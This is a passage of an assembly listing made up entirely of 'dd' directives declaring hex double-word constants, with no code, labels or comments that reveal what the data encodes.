0FF273929h, 3C4BA3F4h, 790010FDh, 83481F05h dd 400093C8h, 0A5CEB6F0h, 823252h, 0D98CD5F4h, 0C6660347h dd 11F01600h, 5521429Fh, 4ABF0051h, 6C7EE292h, 0BB0076E1h dd 0EB071569h, 41B929h, 0DC30630Ah, 0AB83E806h, 5600807Eh dd 0E7C1157Ch, 0F869CFh, 8BFD097Dh, 7E58562h, 8F82B80Eh dd 464BC10Bh, 3D60ED05h, 76EA00F0h, 2BBCE14h, 0C7143032h dd 0CAF468h, 0EFC11A13h, 1C6FF24h, 336AD94h, 41FA6E7Eh dd 2B13ED8Ch, 6AA1B0h, 0A6C246Dh, 7BEF947Fh, 15684A00h dd 648CD44h, 387A4Bh, 519E418Bh, 2F02BAF3h, 921ACF07h dd 0E83084E9h, 7BDD206h, 0A7EC4FF9h, 2ADF90C2h, 2004589h dd 169F4999h, 0ECD9C65Ah, 6B7623h, 2F42C288h, 0F0CA36FFh dd 0BA70E100h, 0F969CB33h, 0AD5C00D4h, 6068A240h, 627F6FD8h dd 3BB50303h, 0A86D5AA4h, 1FE361Dh, 5315C83Fh, 0D4952D01h dd 0D8023B81h, 0C029B27Ch, 6EE0E01Bh, 592EC49h, 50B1C594h dd 2132839Fh, 0B2525207h, 62B071C4h, 790B0A0Dh, 1EB473FFh dd 15D80CAh, 0B186A9C6h, 0A33EF44Fh, 50495307h, 16B5B95Bh dd 32A0C1C7h, 0FC982A64h, 0F8281C13h, 5EB9C023h, 52250194h dd 4690200h, 484EB36Fh, 0A25F0010h, 0BF446CF0h, 25001609h dd 9DC24FAEh, 3081B8h, 9208E2C1h, 0E90071Dh, 47D10B00h dd 75484B0Dh, 782E74EEh, 0FAB70066h, 498A01D3h, 0C0F8840h dd 206A4306h, 0E183CAC1h, 6CD5003Fh, 184C2596h, 0EAFA270Eh dd 6031E70Fh, 0D6D4006Bh, 79FC6ACh, 68B1527Fh, 900A97C9h dd 750BCB7Eh, 6B80D100h, 902D37D8h, 0B85000E6h, 477CE29Fh dd 3F72A4A3h, 4058AB00h, 252785A1h, 9F000C6h, 5F1CF405h dd 8F000F15h, 334E99A4h, 0EC859A23h, 0F36A0058h, 0CAA15AA9h dd 761E05F1h, 308A2B8Dh, 7C01BB3Ah, 0E0EFE378h, 0A2D0D6F5h dd 0A4EC64h, 0F692FF30h, 75023A07h, 0E2C64600h, 94D701EFh dd 0F83E0F17h, 7CC08483h, 0B6D44733h, 0BCA8E07h, 5E90148Dh dd 139629h, 0C9241C1Eh, 0FE0274B1h, 1ADC0900h, 0D280B8FFh dd 3B5E079h, 754F4304h, 7DD830D3h, 10017414h, 0C45B1FFh dd 0C03E3B08h, 0A689057Ah, 2EDDF400h, 44D12D1h, 341D0F65h dd 4700F78Ah, 0FD44F8A1h, 0A200D9E4h, 6590899Dh, 582E38h dd 0F02D704Fh, 10E9A151h, 0A2271801h, 74532F85h, 0BCD1D8h dd 0B9546A1Dh, 4C9CD4F3h, 90CB8B1Dh, 4717CDC0h, 1E8AEB5h dd 0F6B02BCFh, 20E6D655h, 0F0122C84h, 9CECC3FAh, 0D465007Eh dd 0C1E4ED15h, 0F7000316h, 0CE2B94BFh, 756247h, 12EC04B9h dd 0A7C82728h, 1114D3Ch, 2EDE2CD3h, 0C0D7A242h, 1EAED4A3h dd 8FCAA4E4h, 5A3DD69h, 0DCB87610h, 0D0018BD7h, 89DF6F62h dd 9220A270h, 107891h, 13A9D812h, 2C78F0CBh, 80060B00h dd 60E25C3Bh, 4BFEFEh, 0B57EB0DEh, 0E5BD2AECh, 154F1B00h dd 194558F4h, 927777h, 7FB7DD56h, 5E5F630Bh, 0F4716001h dd 91A5C438h, 875F0h, 0F24A5A33h, 44022717h, 41A4EF00h dd 69E95748h, 5FEC6Fh, 37814531h, 9453885Bh, 57018D7Ah dd 0E8719D0Dh, 46C847BFh, 17C800A0h, 5FC34287h, 34029CDDh dd 0F0C5FC91h, 2256C1AAh, 3812CCh, 72F77DA4h, 19681384h dd 0C174C600h, 505FC752h, 0A69F00BDh, 9D0F7386h, 2C000279h dd 34EC9632h, 64AF37h, 39C495C6h, 56B29EB3h, 0C585F71Fh dd 4DB86345h, 0C3EC58C0h, 0D31D003Fh, 0A632E606h, 0A094B17h dd 0CDE7B1h, 3A25A58Eh, 0E6AAEC29h, 93FA0044h, 0D01B9266h dd 5E01BB65h, 14B45026h, 2AD419F2h, 0C79F0987h, 0E60089A9h dd 0AF560574h, 316F839h, 9CB466ACh, 0D88CC364h, 758BDDh dd 4B937C2Fh, 6A24A058h, 7A820300h, 5AC773A4h, 0BA727Eh dd 27841D5h, 0C327116Ch, 4B8E5901h, 0A6B01E5Fh, 40D2ECh dd 7517496Fh, 227C3966h, 0A39F4507h, 86202F71h, 0D94161h dd 7BDB2529h, 676F881h, 35A85500h, 75AE2638h, 0CB450093h dd 1834EA74h, 232E04DFh, 0AC034A08h, 0E88237EBh, 641AE2h dd 0A6432101h, 9854B34Ah, 0FC93B909h, 48815F69h, 0D4022D6Ah dd 7D004DBEh, 0C59B05A4h, 0B062A7h, 42BFC963h, 1C8F36A8h dd 0FF96D100h, 0C4B8BC6Ah, 124F1D5Bh, 9C5C044h, 2C464772h dd 40703802h, 7D94C0AAh, 0E8C0230Fh, 0FC9591DBh, 45F60A7Dh dd 8D268F00h, 7AF2357Bh, 1AD2052Fh, 0C0F007D3h, 0C2552B85h dd 0F4D07800h, 1B3BC13h, 100B002Eh, 0E881A64Ah, 910F2924h dd 60F164A5h, 9F0D9669h, 95840046h, 866A4BF6h, 0E8075414h dd 302B75FCh, 0F0CBE693h, 0E329BAh, 0AC2C164Ch, 0F55CF4E4h dd 48FC2D01h, 5A59A165h, 70A580F4h, 0A62107E2h, 436C14C4h dd 35A94485h, 5F51E0DCh, 92F46000h, 0C9311EFCh, 0CA090549h dd 80405553h, 0C807302Dh, 94E98800h, 0B6F2E06Ch, 667C08h dd 0D806EBD1h, 35F00973h, 83203E1Ch, 0B8F38100h, 0CEFEEDh dd 31EB1C75h, 4FDA8EC1h, 5BD5E100h, 0EF6CD2F7h, 0A5D0003Eh dd 0AFA955C0h, 61004384h, 97C447D4h, 0E8510E2h, 28BFEDA0h dd 0EC41DA0Fh, 0F0A8E0D6h, 0BBFC59ADh, 80F3A53Eh, 46712D63h dd 7B849743h, 0FC1807B2h, 518A1403h, 0C09DDF92h, 9EB0D368h dd 0F8043Dh, 5DD0D45Fh, 3CC60150h, 8980B0A2h, 85FC29B7h dd 4DEE17A9h, 7B2CDC00h, 5A241051h, 0E8010021h, 0B1ECDD4Fh dd 93057102h, 52DF2347h, 0F31617C0h, 4FAC0028h, 77E50FCCh dd 3E002941h, 0C8099412h, 1B1697h, 0F9A8072Dh, 7CD15A58h dd 0F0564500h, 0BA51F6E6h, 5B380160h, 0CE077948h, 0B146CCEBh dd 10FE8300h, 0C1ECF1EDh, 0DC95005Eh, 96D37224h, 0A800ABE2h dd 67BD1E75h, 0E8D1ED2Bh dd 8CB000E6h, 70834FF8h, 7C0058FFh, 3C709EFh, 9160C0h dd 0A8A0048Ah, 3B94980Bh, 61114A00h, 51010244h, 0E3C10012h dd 88C33683h, 71174606h, 2800295Fh, 34B264ABh, 0A58B1DAEh dd 0E45200D2h, 92B2CB1h, 5CC45905h, 0C8016278h, 565B5A02h dd 7F89760h, 8BFC12AAh, 40C2B7F3h, 789E7908h, 0B1A96000h dd 985E58Eh, 0FE500134h, 4D8B42ACh, 0FD94DCDAh, 51E8AFF8h dd 7400197Bh, 49CF5C1Fh, 1D952044h, 8D1118h, 0CEEA2FA3h dd 0AB984556h, 58B02100h, 209EA967h, 2AF3007Eh, 2C29BC6Dh dd 0D8E89F57h, 0CA529C00h, 42A4968Fh, 0D575FFh, 0ABE8C3C1h dd 290C3292h, 0AF880807h, 0ACE0DB7Ah, 1CC21FCAh, 0C0E69443h dd 1C77CEEDh, 61E2BA6h, 814097AAh, 0E38D5426h, 5E280070h dd 0DCBC2C4Fh, 0F277C28Bh, 0B689E200h, 912F1CAAh, 834000E4h dd 64751EF8h, 0DE019A5Dh, 0E83120BBh, 646049A3h, 0B7241E79h dd 0A2A500A9h, 4659DE5Ch, 62B52900h, 2EA68A3Dh, 891A0010h dd 0AE1F783Bh, 0EF1E200Dh, 0A2405096h, 8B100E75h, 0A98D00FEh dd 7ADF1DEh, 6600A5F3h, 2D5B1E29h, 51AABDh, 0CBCC734Ch dd 0C9705CB8h, 0BD4E000h, 3F77FC45h, 29C400F5h, 7C27785Eh dd 4C0081A9h, 0B22B1ED9h, 3B8352C0h, 0BD0088DAh, 0B3ABFE59h dd 0B900D40Ah, 33B4A913h, 1420AAh, 5F90C3C9h, 0AF81EA92h dd 5108B900h, 0E97C805Eh, 126E001Fh, 7B74A9DDh, 500EB3Bh dd 570F01B5h, 0C282Ch, 92049EC8h, 0CCE40DC9h, 0EE063Ch dd 10D008D4h, 0F831FCh, 1DD87D89h, 59226421h, 0AC1F34F8h dd 0F60080E0h, 528AACBh, 0BCD400C8h, 0B3E81662h, 0BE002B24h dd 0D01EBA19h, 7E33D802h, 2C050049h, 0EB63D759h, 32002126h dd 0F21E6FCCh, 2C1CC851h, 8E0BF7h, 2331716Ah, 600159Bh dd 0E14CBA84h, 0D2CBFAh, 0CE2824Bh, 779808DAh, 9A0B2700h dd 3B42D6D3h, 9FB0ACh, 6759C2C8h, 5CD42630h, 9600DEFAh dd 1B88CCE8h, 0DC7EADh, 50E94151h, 0FBFE7DBh, 0BCDE6300h dd 440C70B1h, 94EF0361h, 0A82414E3h, 2010709Fh, 0AC0040B0h dd 39B481B8h, 0F85BC5h, 0B6BE24FCh, 0DC224972h, 20581D73h dd 0A4AD004Eh, 19FA1E82h, 0E00200B8h, 0B449DC3Bh, 0D2732D16h dd 36C5Ch, 71CF4691h, 28AC29h, 2EB6704Fh, 0BE18A867h, 9AC3B216h dd 6900911Fh, 22291646h, 24AD0164h, 0D81B996Fh, 0B6E0DE51h dd 505BAA8h, 64F9E3ECh, 0F195A50Ah, 54189107h, 8F200DBh dd 1FD84293h, 814EB914h, 89D2D0B2h, 0CC1C9E64h, 988603FDh dd 0C80A91D9h, 53AE5Bh, 175874DBh, 0EF0B4A4Eh, 0FF9CF018h dd 0EC7552h, 185F8068h, 0F4E363C1h, 0E02BA00h, 1E4E1077h dd 0E48C01AFh, 18A7F660h, 2030D914h, 0E1752A88h, 4C7C7175h dd 0FA80DC01h, 820643BAh, 8C68DCh, 0B33242Bh, 2CD247B9h dd 42621900h, 0C9DC21AEh, 0CED72673h, 0B2900085h, 430C967Bh dd 7D3C2D7Dh, 8010B977h, 22FFD392h, 0C08368h, 0F31FB078h dd 0CEDBF603h, 0BACF1B00h, 40AF3F13h, 87B600B2h, 0D7E7F40Bh dd 4C0092DFh, 11D46D0h, 0F87032h, 0F4F15DD5h, 0EC933C2h dd 0A9CAD200h, 29AF6A84h, 2A811238h, 0C3050102h, 0C9109E43h dd 8722703Fh, 0F5933Fh, 8F060F38h, 3BE30811h, 1680FA0Ah dd 0B4F845B7h, 3900EBC8h, 0BA9B6BE7h, 2ACB0Bh, 7CB091E6h dd 5C0E479Ch, 79535400h, 694C0901h, 31500062h, 736DC81Eh dd 0F3030C5Ah, 0FF2593CCh, 1D8BD856h, 0A953023Eh, 7D04BFD9h dd 95746240h, 75EFFB0Eh, 1A02610Ch, 81F59868h, 8BECF4h dd 0EB124DD3h, 0EECFF34Bh, 5F4A4800h, 0FC555280h, 25C13BB8h dd 934BE880h, 0D01603Ah, 9F761C00h, 45283EE9h, 0A9440006h dd 2714914Fh, 2500F823h, 0E5EA6BABh, 7421396h, 124756DBh dd 6CD18053h, 78001B76h, 9CB9A1C2h, 28D745h, 954E4F1Fh dd 0AC841D68h, 2299A200h, 0DFE68B71h, 903A7896h, 645C00D7h dd 0D98F04ECh, 51007509h, 0FCF01440h, 0ECEBB2E4h, 8C5B015Fh dd 8464BDFh, 63DECE6h, 4253B00h, 0DB19C1D0h, 0EC0200EBh dd 78B9F6FFh, 2D000DF7h, 2CC4F43Ah, 0B89DAAh, 3358DD7Bh dd 20BEC529h, 624CB207h, 145013E6h, 35BE82Dh, 8DB86104h dd 80EDAD2Fh, 6890DD1h, 4938F800h, 5328BAC6h, 0CB150A91h dd 0AC318Bh, 3FB833Fh, 0C006076h, 9BE848D2h, 24C518h, 9C098940h dd 0B01F0456h, 7E2B1425h, 9A8D00CDh, 0BA1A8626h, 0E6313800h dd 0F4C2CA93h, 82240394h, 29B2F972h, 0AF051B0h, 26DB2200h dd 9317E83h, 0F22B3D74h, 0A54E7980h, 9B20B425h, 874F987Fh dd 1A2C4DBCh, 0A9C70040h, 91DC45C9h, 804D073Bh, 8A032D2h dd 7C701094h, 0E4A82C5Ch, 85E80085h, 38BFB2B0h, 5F8BA400h dd 14AFB7D6h, 98C800BAh, 85903B8Ah, 0FF002175h, 66FF9BCh dd 4C4E1E96h, 61008BDEh, 122BC667h, 0E8FBF687h, 9F3C1043h dd 0B2B78B55h, 0A08F006Fh, 29EAA5h, 0C4363240h, 212DB350h dd 0C671F39h, 0E2E165Ah, 22F86Ch, 0D23CD34Eh, 0B8F84883h dd 0A1B301Ch, 90167343h, 0B40CD8C5h, 0B2440013h, 573ED36Eh dd 0F00F6A5Ah, 2019BD4Ah, 43E0C8E8h, 12532E4Ch, 295C0097h dd 73D06630h, 2C03B3F0h, 2116D3A2h, 545B8D8h, 0FFDD00D2h dd 0C743759Ch, 0A90E1048h, 0AF490F26h, 5C6E05ADh, 0AC0C0680h dd 7C477574h, 9251EE4h, 37B30FB9h, 0C26308A7h, 8940A2D6h dd 0FAF2A4ACh, 2F3E2CFEh, 0BACF3976h, 0E08480A8h, 0B5165CB3h dd 63210069h, 0ECFC6579h, 9400478Dh, 542DF450h, 7F5ABAF0h dd 65B60026h, 0D04351BFh, 0C6000AB2h, 2B610B8Bh, 0E1B510h dd 559D8A6h, 0E6A8C4Ah, 0B7D49C00h, 0BCCDA06Bh, 7AC40E11h dd 9A6FA3B5h, 70F1DBC7h, 6EC2AA1Bh, 7D549D00h, 83DE9ECFh dd 4D7B00E2h, 5290E3C8h, 88042345h, 0EC44B581h, 394F73C0h dd 0E483902Ch, 0FEC400B0h, 53859586h, 0B3D199Dh, 8492D00Ch dd 0B85D3207h, 89C9B412h, 26AA00FAh, 82EFF4h, 51CE7D8Dh dd 0FDC39257h, 6642411Eh, 21F34C47h, 387EBC7Ch, 0BF00493Eh dd 19EBE8D2h, 0A800C3BEh, 0B48EA30Eh, 9E2FACh, 1DA6759Fh dd 42485536h, 62034BF8h, 0D89B545h, 44A9D06Dh, 0A5CE0191h dd 22D725BFh, 0B8AFC47h, 0AC644A00h, 0F819F669h, 0A829001Ah dd 0DF54E20h, 7BB8BA2Ch, 3F6051ECh, 0BE80D616h, 105E0BB9h dd 28808875h, 0CCAB85FBh, 0D6502607h, 0E71FE031h, 558044BEh dd 3E25D2F4h, 74047864h, 0C0A040FBh, 0F02E13D3h, 0D8482AE8h dd 48CD0076h, 9559B745h, 0E2050078h, 0C1BAD5B8h, 5400F8DCh dd 0E18ED34Ah, 2EC4694Bh, 0C19062h, 88792B52h, 650078BFh dd 80C1B0B7h, 107EBh, 3A740472h, 7D956E67h, 755CE9F8h dd 1451006Ch, 9EE325Dh, 0E590028Ah, 4DD78970h, 0BE81D489h dd 0D804B84Fh, 1E00FDA2h, 0A1383652h, 20E6305h, 1D451723h dd 0DA401929h, 92FE8048h, 0F104741Dh, 0FDA5E7C0h, 7CDE4F4h dd 0F00693FAh, 0B92F9061h, 0BB00793Fh, 4A97892Bh, 1835B59h dd 8E1CC778h, 700AFB45h, 0C90013BBh, 4B7E0D0h, 2659FA5Fh dd 0DE010Dh, 0E7557C8Ah, 0E8074284h, 5319A76Bh, 0FF046FE0h dd 57933E8Eh, 0C85A1A00h, 8FB083FEh, 0A7E2F03h, 9880E10Fh dd 0F94594h, 15086EEBh, 81C49610h, 67D38600h, 0A528F895h dd 0C5AD1F41h, 0FE830001h, 0FC457E02h, 0B000998h, 3E7DF03Bh dd 0FA4178h, 0B838147Fh, 48A08203h, 0D4287528h, 2421F800h dd 0B1541A22h, 102EC84h, 0AFFB672Dh, 60DC68C2h, 0F4CF45Dh dd 80553EADh, 0B9368BC5h, 3CD20873h, 0B897304Ah, 0EE8800A7h dd 0E4C16D7h, 616C4300h, 1C8E3373h, 0C8460048h, 0ACA754D9h dd 0F03E8B0Ah, 347D80CAh, 24B50CE2h, 0B8A20F44h, 0B9C0233Eh dd 847252A4h, 0F414D005h, 2EC003F9h, 1326FE9h, 36FFC327h dd 30E025E2h, 5C484A69h, 7CBC000Fh, 0A72B20D1h, 99D4004Ch dd 6BBAAAC4h, 0E4E5E749h, 0C6F40FB2h, 0DDCAEF01h, 0CC563334h dd 1845CE8h, 0DC60FC27h, 0F42D4628h, 0BE4A2FFh, 88008398h dd 3B633169h, 7FC99E21h, 0F9E5000Ah, 4E47C14Bh, 0DB98DB75h dd 0A95B1207h, 0CCD0CF69h, 0E8BAB113h, 95030097h, 20F1407Bh dd 2300DC4Fh, 12C0262Eh, 0E738EDD4h, 36C85E8h, 0F575A8BBh dd 0BE88A9B0h, 7276CF3Eh, 0D68A4200h, 0C8F8910Eh, 8D8E00DAh dd 7DD2DC70h, 0D77B86F2h, 4DCB30EBh, 3E73E700h, 1B094892h dd 0D67B16h, 0BEB5205Fh, 6F67699Dh, 2F652500h, 7BBB7389h dd 997200B6h, 622ED8ACh, 5C00F814h, 2DDAC408h, 7FF5BD48h dd 0AF250085h, 0A5134D98h, 4C0EC6B7h, 0AEA4772Fh, 1174A03Dh dd 0B239CBh, 0EB057D0Bh, 0FF35EFAAh, 4831B800h, 84D4295Dh dd 34FC0064h, 62B995EDh, 0A800CBF8h, 0D88831FFh, 0E4870803h dd 4498004Ah, 0F2750F45h, 0C40043A3h, 528EBCF0h, 7FB58B5Fh dd 4D85006Bh, 4EB8BD7Bh, 22606CBh, 7500DB83h, 49975E77h dd 50032429h, 94C60329h, 0CEFBECC3h, 0FC7B0A00h, 0ED45AA09h dd 64407A7h, 906A1863h, 86D89A3Bh, 10AE7B00h, 2474DC2Fh dd 1D1707D9h, 0FE201319h, 575AA00h, 0AE000AC5h, 5EEEE674h dd 3F105CB0h, 34818ACCh, 0BA169DF8h, 0BC59C0BEh, 0E484261Eh dd 5B008B1Dh, 438AC268h, 0F88807BDh, 5728D152h, 42D480A4h dd 1C002521h, 890F0C4Eh, 533F43h, 8FB64B8Eh, 0BD91C52Eh dd 0AD3AB200h, 0CEE9143Ch, 66D6001Ah, 5161DA4Bh, 1FA109Dh dd 0BEFC8A07h, 85308F58h, 79A8D9ECh, 5F72014Eh, 3DE45570h dd 79F0F430h, 3F538B01h, 0D0CFCC9Ch, 0D37330h, 68F810D9h dd 21BE42B8h, 0D611EC00h, 0F49061DFh, 0ABF300E5h, 0FA649793h dd 0AE7637F5h, 0D3742000h, 4E030688h, 63C817ACh, 43030004h dd 79FA013Eh, 575D9600h, 0CA974E39h, 0E0C7007Ch, 9E14998Bh dd 5E0080BEh, 0F1E95C9Ch, 79413F4h, 16DF95E3h, 824485DAh dd 20614BECh, 7C8DE00Dh, 1D4C2005h, 78C749B8h, 6307C2F0h dd 6240F8Bh, 0C5D404BAh, 0DABF3000h, 8DFB0228h, 0C540EBA0h dd 8A998100h, 0C2935E50h, 25EA3A6Ch, 0D530B700h, 0CAC0237Ch dd 25F74Ch, 0F64C9B90h, 0B00507h, 0AFECE901h, 0D854DF4Dh dd 0B72D8800h, 0EF3364AEh, 35D01A0h, 9EEDF49Dh, 283C3043h dd 48080400h, 200C112Ch, 10440114h, 66D38318h, 0EF0AEC3Ah dd 0EB851200h, 0F0335346h, 811E006Eh, 2E3A4D09h, 2A007586h dd 144642A4h, 12711821h, 0FC7AB5C7h, 0AB770029h, 4163094Ch dd 0B642039Ch, 747B7540h, 66B8DCF3h, 0C300DF29h, 2CBED669h dd 39B467E3h, 721B5348h, 44E81EA2h, 8013BF7Bh, 0B700E99Fh dd 45DD2609h, 600400F3h, 50520717h, 0AE8E2ADh, 0E8813B1Fh dd 0DA097540h, 5A9780h, 7B517358h, 7D0CC5EBh, 257A4B00h dd 0B5A81221h, 0B44A00D4h, 0B3F7949Dh, 8F00BB98h, 51057724h dd 49BAFFh, 88B04876h, 427A92A2h, 0BF01EA07h, 7570E579h dd 47C589h, 0F441A74Ch, 0DC867FDBh, 0DB80600h, 0CFA4D27h dd 0FE88002Bh, 0F0FBE82Dh, 0F33E9752h, 0F4007FDEh, 13B2F628h dd 306614A9h, 602AE89Dh, 32037273h, 85FC15C8h, 610AC0F6h dd 1E760314h, 0F421FA12h, 0E05816D1h, 0C004277h, 0A771AE9Eh dd 0B05259DCh, 0F24C00D5h, 8B518968h, 7C00C53Ah, 45491926h dd 1602546h, 4CBAC38Ch, 0DCB49535h, 0F7F420F8h, 4301200h dd 16344828h, 1F722Ch, 93FC4978h, 9A2F58A0h, 0E50011Ch dd 13C93840h, 3D907F10h, 0C03E53EDh, 3B46F200h, 0C4972CEh dd 1220E002h, 0E00161C3h, 72BE1B3h, 53449FD0h, 86260E8h dd 5AC07473h, 0FA9DD29h, 0D5800714h, 0A0240BC9h, 4519127Bh dd 5A588402h, 0E046A00Dh, 23F1FDh, 76EB3B32h, 0C409FAEh dd 101DC3ECh, 7CC0C62Bh, 7B80287Dh, 75242789h, 0E400395Ch dd 98BE742Ch, 0E2F5980Dh, 0C7493h, 0C3401D16h, 0E00355A8h dd 840F9E00h, 0CE3285BCh, 1404000Ch, 18151048h, 0B975A775h dd 7208F600h, 277C432Dh, 28393A29h, 0BF1C4412h, 8A0EAA01h dd 1EE4957Dh, 0CB42004Ah, 1CAEA9F6h, 5E079849h, 8A215350h dd 0D45BCFF0h, 0A02A3969h, 4A61804h, 0B100EA42h, 0E790B0C3h dd 0A51D0075h, 74349119h, 3B002B85h, 47763196h, 0CB92Ch dd 97AF2F1h, 0F31CC624h, 8806BB1Dh, 7542AF00h, 0F9CEC937h dd 83C6DAC3h, 7ABD32A2h, 339000B6h, 681574C5h, 0C8480C2Bh dd 76193C00h, 8B0FC0FBh, 1DA6CE00h, 0AFB13B25h, 0C3EA004Ch dd 0C0C8E985h, 0E8FDDA68h, 0CAC018CEh, 0F0141BAEh, 810B00A6h dd 0F73002B0h, 71009735h, 88930839h, 2E03117h, 0EA1052Bh dd 14409601h, 0E11EA4A8h, 4AA6C44Eh, 75027600h, 24B82Fh dd 0FA4CFD63h, 930447B5h, 27F22000h, 21AF7819h, 1C080037h dd 0E5365D8Ah, 0C4005523h, 2D839040h, 6E9F18h, 8568A120h dd 512C250Fh, 8CE2A803h, 0C01015C4h, 1D08F9D7h, 0CFBFF4h dd 0F7B0A16Eh, 75078268h, 972CB815h, 9167AB30h, 96B438F3h dd 3043D001h, 0F4C54C16h, 6400EC7Eh, 0EF560441h, 7102C7Fh dd 6032C824h, 68C0DE09h, 70916C48h, 54770271h, 0BDB0901Fh dd 22C81FBDh, 15E2E100h, 2CF0CC2h, 4409F806h, 0D7C0086Ch dd 313F744Ch, 32D08303h, 0EB3FC618h, 64C4A030h, 0FA88E66Fh dd 80330031h, 0FD98C81Fh, 0FCE5FA10h, 0E8FAC1D9h, 1EF7620Fh dd 22C780DCh, 6E342174h, 0B8010C6h, 0A478B341h, 5000307Bh dd 0C81EF9C7h, 1089264h, 0E4CCA02Fh, 0E0D3ECC1h, 0CE20431h dd 0DC109400h, 5FC86070h, 524F1F58h, 7836C026h, 0EC6CBC95h dd 4EEE4B0h, 80EF1B0h, 20118F0Ch, 0A052431Ch, 0E06B25EDh dd 64132BFEh, 54B07F01h, 0A02F8625h, 0A12C252h, 35030FC3h dd 85E36798h, 0E8F980AFh, 0EB003AF9h, 1C8B0104h, 4CFB8688h dd 6F486EC1h, 8A058902h, 0BDE07549h, 44073848h, 3B431513h dd 17CB0F30h, 9DF50120h, 0FA5F7442h, 5DD82046h, 0FDC64A00h dd 13BC4F03h, 7406003Bh, 33D0FCF3h, 5800C909h, 67E47BE8h dd 98E28025h, 0DB2000D9h, 0F1844E1Bh, 17039A7Eh, 9CEA6523h dd 0CBBCC85Fh, 988E000Dh, 0B5FB0444h, 96002B84h, 487107BDh dd 7B5806A0h, 7021004Ch, 54400F50h, 2301FEE3h, 0F7EBE8FBh dd 3D5ECD5h, 75045F60h, 0E0CF003Ah, 0EDE7C1F9h, 0C700E9CCh dd 8DF5C378h, 2523FB18h, 1250EC0Ch, 0BEE2418h, 1047AD4h dd 0F8F5C7CDh, 0D8073A9Ch, 0C302E0E8h, 0F918588Fh, 0D952C023h dd 8AFA1C9h, 3CF7E6C4h, 0DF0394DBh, 0FF15EE33h, 2EF82F22h dd 0E45ADF3h, 3E07A01h, 3A96B3DFh, 0EB981307h, 0DA900B0Dh dd 1F437329h, 802BB61Bh, 3B887410h, 200758C4h, 14428C8Fh dd 2C915477h, 23E8463Dh, 72510118h, 741CAF94h, 2089E8F8h dd 0BE210B3Ch, 687702C4h, 0F70EC859h, 0A8289300h, 2C0489E6h dd 0B703841Ah, 0F8589383h, 0EE8885C5h, 34C40790h, 0AE423C2Ch dd 622025CFh, 5A193538h, 4A14AF7Ch, 0BB6CF74h, 83FD0CA5h dd 80A89195h, 0C5812Ah dd 5A827999h, 7FAE037Ah, 0CCA24200h, 369D86EEh, 0C8C00B7h dd 576AF8CDh, 53012910h, 4205208Bh, 5460CAC9h, 52C63F1Bh dd 0CCE90C00h, 29206A15h, 0C897D40Fh, 0B0178709h, 0DDA905D1h dd 320B8CD0h, 30500DA3h, 20EF0Eh, 2E841343h, 342200A6h dd 46A2F82h, 8800A495h, 4178C646h, 91085B8h, 436DAC14h dd 0A16A1787h, 2AB47023h, 0A9ED6FB1h, 2E80A745h, 0F286D2E8h dd 59FCF3D8h, 11A7EEAh, 2B1864E5h, 30C3113Ch, 2330B9CFh dd 0F4284214h, 0AA4D3B21h, 44A45309h, 76D200F7h, 0F87C84A7h dd 56A80027h, 0E2C78E21h, 1401B989h, 0B5B21C42h, 22D04334h dd 64B0B8h, 0EC1BF1A2h, 831F3C32h, 0C7813A07h, 6E10D9A1h dd 0B533FE9Dh, 0BA029482h, 279955E0h, 58C84200h, 601F5389h dd 4FE91F3Ah, 8FAEC3ABh, 22960940h, 1C5C20h, 0A56CE907h dd 67B88D34h, 14D60818h, 3E02D31Ah, 0E987ABF0h, 800F7BB1h dd 94E21A11h, 437C9C00h, 0C4A3887Eh, 0CB381F28h, 64BCDE8Dh dd 0EE80751h, 750B0C8h, 0F39087ACh, 8BFA683Ah, 0FC91F08h dd 4347E700h, 275FC4F7h, 21171432h, 34D1A6D0h, 5A83EC0Ah dd 767AC0D9h, 9B12B2BBh, 6D002C31h, 62B444C3h, 4314001Ch dd 4152A2E0h, 5100C2E9h, 0FF33F81Fh, 3F990h, 52EE5D7h dd 5EE2C189h, 527C4Ch, 12414B4h, 348504Ah, 4C425A06h, 84C37210h dd 0B3EF54B0h, 0B8278000h, 78DA756Ah, 0FB482EE4h, 0C08A1EC1h dd 19BC4BE0h, 96004022h, 0F0C747D8h, 230148h, 0E676045h dd 0CDAB894Ch, 50EF4000h, 0BADCFE08h, 0E54FA98h, 10324476h dd 0E1F05800h, 8100C3D2h, 22EEEF5Ch, 3600EC0h, 0FEDCBA98h dd 10E06480h, 8901ABCDh, 45676802h, 6CC00123h, 2D1E000Fh dd 0C0333C12h, 9300ACE1h, 0B6EC53D9h, 7C5BC66Eh, 3FE03B18h dd 3440702h, 7E08008h, 7E0038F8h, 2B6FA81Eh, 18D6BD0h dd 0E633F525h, 0F4D553DBh, 1A007E29h, 761451FFh, 311E95h dd 0FAE0C183h, 0D82F707Fh, 800CB338h, 146C6BDFh, 0EA9AAC55h dd 8BFC40h, 0DD8192C4h, 7245618Ah, 95D5BE00h, 552DD3FEh dd 0D9340019h, 7B816A09h, 0ED28777Eh, 0E503A96Eh, 5E76013Fh dd 3520D7FAh, 7B74BF54h, 0DF3B07FDh, 0A08D107Dh, 28BD3F2Eh dd 80CB2A3Bh, 0AE4FEB24h, 24A91229h, 3B51064h, 0DF2B8DC6h dd 283CFCD8h, 0DDE6D41Ch, 0E803C000h, 141BBD9h, 62C2BD7Ch dd 20831D98h, 0EB00EAB3h, 8CFB069Dh, 4DEC7Dh, 6FC56A03h dd 67FF6951h, 0BDA71801h, 86B62C14h, 0E46A1670h, 0E4E80009h dd 44A224AEh, 3105BDBAh, 0CBDB0107h, 0F9FBB080h, 0E16600FAh dd 85B75639h, 0AF005DE8h, 0B2BD334h, 48CAB4h, 0F93C0C20h dd 0F3E97CCBh, 808CF503h, 0F07013DBh, 692124h, 4C33A91Ch dd 0F101188h, 0F87C7E0Fh, 7DAB40FDh, 0BDCE17h, 0A9F047C1h dd 234E9C24h, 4BE2600h, 81664CCh, 30F070Ah, 0B3AE9FFEh dd 7CC0AF60h, 8C02A1F5h, 4610DE70h, 6714C1BEh, 147870h dd 87C62A01h, 52F13547h, 34978C00h, 90CC8523h, 13040018h dd 27A83046h, 40077E58h, 9510011Ch, 0D921FDB0h, 0BCAF0390h dd 98D88020h, 4369080Fh, 0C4D2C0FCh, 0FC2428F3h, 7AF701AFh dd 0B0E48C44h, 0CDE49D87h, 0B10387BFh, 83DBFF5Bh, 0F00FAAD8h dd 24BE022Ch, 1E905CD7h, 3B10C065h, 30C485BFh, 11220107h dd 88506B90h, 7F5E08B0h, 1C7FFC42h, 3472CDh, 0FD987193h dd 0AF07468Ch, 38519D88h, 79438E00h, 21A60742h, 0B3CF9C0h dd 7BB40601h, 0F1E9E849h, 0F2C2BE0Eh, 25620004h, 0A8F61Eh dd 4518E869h, 